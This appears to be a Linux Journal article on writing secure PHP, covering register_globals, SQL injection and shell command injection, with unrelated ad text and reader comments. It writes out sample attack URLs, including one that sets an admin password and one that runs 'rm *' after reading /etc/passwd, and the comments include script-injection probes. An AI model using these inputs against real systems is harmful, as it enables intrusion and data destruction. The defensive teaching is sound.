Programming PHP with Security in Mind
From time to time, you will find a security advisory about some major web application on security mailing lists. Most of the time, the problem is fixed easily. The errors often occur because the author had five minutes to do his application while his boss was yelling at him, or was distracted when developing it or simply did not have enough practice in programming secure web applications.
Writing a secure web application is not an easy task, because the real problem is not a matter of knowledge but one of practice. It is a good idea to keep some tips in mind when programming. To help memorize them, you should understand how and why they are so important. Then you can start to change your programming practices in the future. Knowledge of the most common threats and respective modes of attack can go a long way toward increasing security.
This article provides a basis for understanding secure programming with PHP and gives a broader view of the subject. You should keep in mind that these guidelines identify only the most common threats and how to avoid them, reducing the risk of security compromise at the same time.
The basic rule for writing a secure application is: never trust user input. Poorly validated user input constitutes the most severe security vulnerabilities in any web application. In other words, input data should be considered guilty unless proven innocent.
PHP versions prior to 4.2.0 registered by default all kinds of external variables in the global scope. So no variable could be trusted, whether external or internal.
Look at the following example:
<?php
if (authenticate_user()) {
$authenticated = true;
}
...
if (!$authenticated) {
die("Authorization required");
}
?>
If you set $authenticated to 1 via GET, like this:
http://example.com/admin.php?authenticated=1you would pass the last “if” in the previous example.
Thankfully, since version 4.1.0, PHP has deprecated register_globals. This means that GET, POST, Cookie, Server, Environment and Session variables are no longer in the global scope anymore. To help users build PHP applications with register_globals off, several new special arrays exist that are automatically global in any scope. They include $_GET, $_POST, $COOKIE, $_SERVER, $_ENV, $_REQUEST and $_SESSION.
If the directive register_globals is on, do yourself a favor and turn it off. If you turn it off and then validate all the user input, you made a big step toward secure programming. In many cases, a type casting is sufficient validation.
Client-side JavaScript form checks do not make any difference, because an attacker can submit any request, not only one that is available on the form. Here is an example of what this would look like:
<?php
$_SESSION['authenticated'] = false;
if (authenticate_user()) {
$_SESSION['authenticated'] = true;
}
...
if (!$_SESSION['authenticated']) {
die("Authorization required");
}
?>
Most PHP applications use databases, and they use input from a web form to construct SQL query strings. This type of interaction can be a security problem.
Imagine a PHP script that edits data from some table, with a web form that POSTs to the same script. The beginning of the script checks to see if the form was submitted, and if so, it updates the table the user chose.
<?php
if ($update_table_submit) {
$db->query("update $table set name=$name");
}
?>
If you do not validate the variable $table that came from the web form, and if you do not check to see if the $update_table_submit variable came from the form (via $POST['update_table_submit']), you can set its value via GET to whatever you want. You could do it like this:
http://example.com/edit.php?update_table_submit =1&table=users+set+password%3Daaa +where+user%3D%27admin%27+%23which results in the following SQL query:
update users set password=aaa where user="admin" # set name=$nameA simple validation for the $table variable would be to check whether its content is alphabetical only, or if it is only one word (if (count(explode("",$table)) { ... }).
Sometimes we need to call external programs (using system(), exec(), popen(), passthru() or the back-tick operator) in our PHP scripts. One of the most dangerous security threats is calling external programs if the program name or its arguments are based on user input. In fact, the PHP manual page for most of these functions includes a note that warns: “If you are going to allow data coming from user input to be passed to this function, then you should be using escapeshellarg() or escapeshellcmd() to make sure that users cannot trick the system into executing arbitrary commands.”
Imagine the following example:
<?php
$fp = popen('/usr/sbin/sendmail -i '. $to, 'w');
?>
The user can control the content of the variable $to above in the following manner:
http://example.com/send.php?$to=evil%40evil.org+ %3C+%2Fetc%2Fpasswd%3B+rm+%2AThe result of this input would be running this command:
/usr/sbin/sendmail -i evil@evil.org /etc/passwd; rm *A simple solution to resolve this security problem is:
<?php
$fp = popen('/usr/sbin/sendmail -i '.
escapeshellarg($to), 'w');
?>
Better than that, check whether the content in the $to variable is
a valid e-mail address, with a regexp.
Realizing the promise of Apache® Hadoop® requires the effective deployment of compute, memory, storage and networking to achieve optimal results. With its flexibility and multitude of options, it is easy to over or under provision the server infrastructure, resulting in poor performance and high TCO. Join us for an in depth, technical discussion with industry experts from leading Hadoop and server companies who will provide insights into the key considerations for designing and deploying an optimal Hadoop cluster.
Sponsored by AMD
Built-in forensics, incident response, and security with Red Hat Enterprise Linux 6
Every security policy provides guidance and requirements for ensuring adequate protection of information and data, as well as high-level technical and administrative security requirements for a system in a given environment. Traditionally, providing security for a system focuses on the confidentiality of the information on it. However, protecting the data integrity and system and data availability is just as important. For example, when processing United States intelligence information, there are three attributes that require protection: confidentiality, integrity, and availability.
Learn more about catching the bad guy in this free white paper.
Sponsored by DLT Solutions
| Designing Electronics with Linux | May 22, 2013 |
| Dynamic DNS—an Object Lesson in Problem Solving | May 21, 2013 |
| Using Salt Stack and Vagrant for Drupal Development | May 20, 2013 |
| Making Linux and Android Get Along (It's Not as Hard as It Sounds) | May 16, 2013 |
| Drupal Is a Framework: Why Everyone Needs to Understand This | May 15, 2013 |
| Home, My Backup Data Center | May 13, 2013 |
- Evernote is much more...
1 hour 44 min ago - Reply to comment | Linux Journal
10 hours 30 min ago - Dynamic DNS
11 hours 4 min ago - Reply to comment | Linux Journal
12 hours 2 min ago - Reply to comment | Linux Journal
12 hours 53 min ago - Not free anymore
16 hours 54 min ago - Great
20 hours 42 min ago - Reply to comment | Linux Journal
20 hours 50 min ago - Understanding the Linux Kernel
23 hours 4 min ago - General
1 day 1 hour ago
Free Webinar: Hadoop
How to Build an Optimal Hadoop Cluster to Store and Maintain Unlimited Amounts of Data Using Microservers
Realizing the promise of Apache® Hadoop® requires the effective deployment of compute, memory, storage and networking to achieve optimal results. With its flexibility and multitude of options, it is easy to over or under provision the server infrastructure, resulting in poor performance and high TCO. Join us for an in depth, technical discussion with industry experts from leading Hadoop and server companies who will provide insights into the key considerations for designing and deploying an optimal Hadoop cluster.
Some of key questions to be discussed are:
- What is the “typical” Hadoop cluster and what should be installed on the different machine types?
- Why should you consider the typical workload patterns when making your hardware decisions?
- Are all microservers created equal for Hadoop deployments?
- How do I plan for expansion if I require more compute, memory, storage or networking?




Comments
aa
window.location='http://www.yahoo.com'
Is there any way
Is there any way that a user can not get a page by typing url in address bar.
User only redirected to the target pages by submit a form or else....
i wanted to ask about the leftframe.php
look at this for e.g.
http://www.tvdekho.com/frameleft.php?url= has a left frame and then look at this
http://www.tvdekho.com/external.php?url=aHR0cDovL3d3dy52aWRlb3N0YXRlLnR2...
how is this formed. Please contact me.
Plagiarism
the URL of the actual article is:
http://www.developer.com/lang/article.php/918141
Plagiarism
I think that there are too many coincidences (same sub-topics and code snippets) with an article(http://www.developer.com/lang/archives.php), published a year prior to this one. It is just not honest not to give credit!
Most articles about security
Most articles about security and PHP cover the same topics.
Just because they both gave the "sendmail" example it doesn't really mean anything. But everyone can read both articles and judge for themselves. :-)
CSS?
Since when is CSS not cascading style sheets? You can't just invent acronyms for something that overlap other well known ones.
Re: CSS?
It's also very common for people to introduce some short name for a long name so they don't have to write down the endless name all the time. So even if it's not officially used for Cross-Side-Scripting, doesn't mean he's inventing. He's just applying some writing style that is rather common. Yeah, I read books :P
Nice article, enjoyed reading it.
Re: CSS?
XSS for cross-site scripting.
Re: CSS?
Actually CSS stands for both Cascading Style Sheets and (for a while) Cross Site Scripting. usually now though Cross Site Scripting is refered to XSS
Re: CSS?
IANAL (I Am Not A Linguist)
Re: Programming PHP with Security in Mind
alert ('http://www.cgisecurity.com/cgi-bin/cookie.cgi');
Wouldn't it be great if this article would run on a secure cms?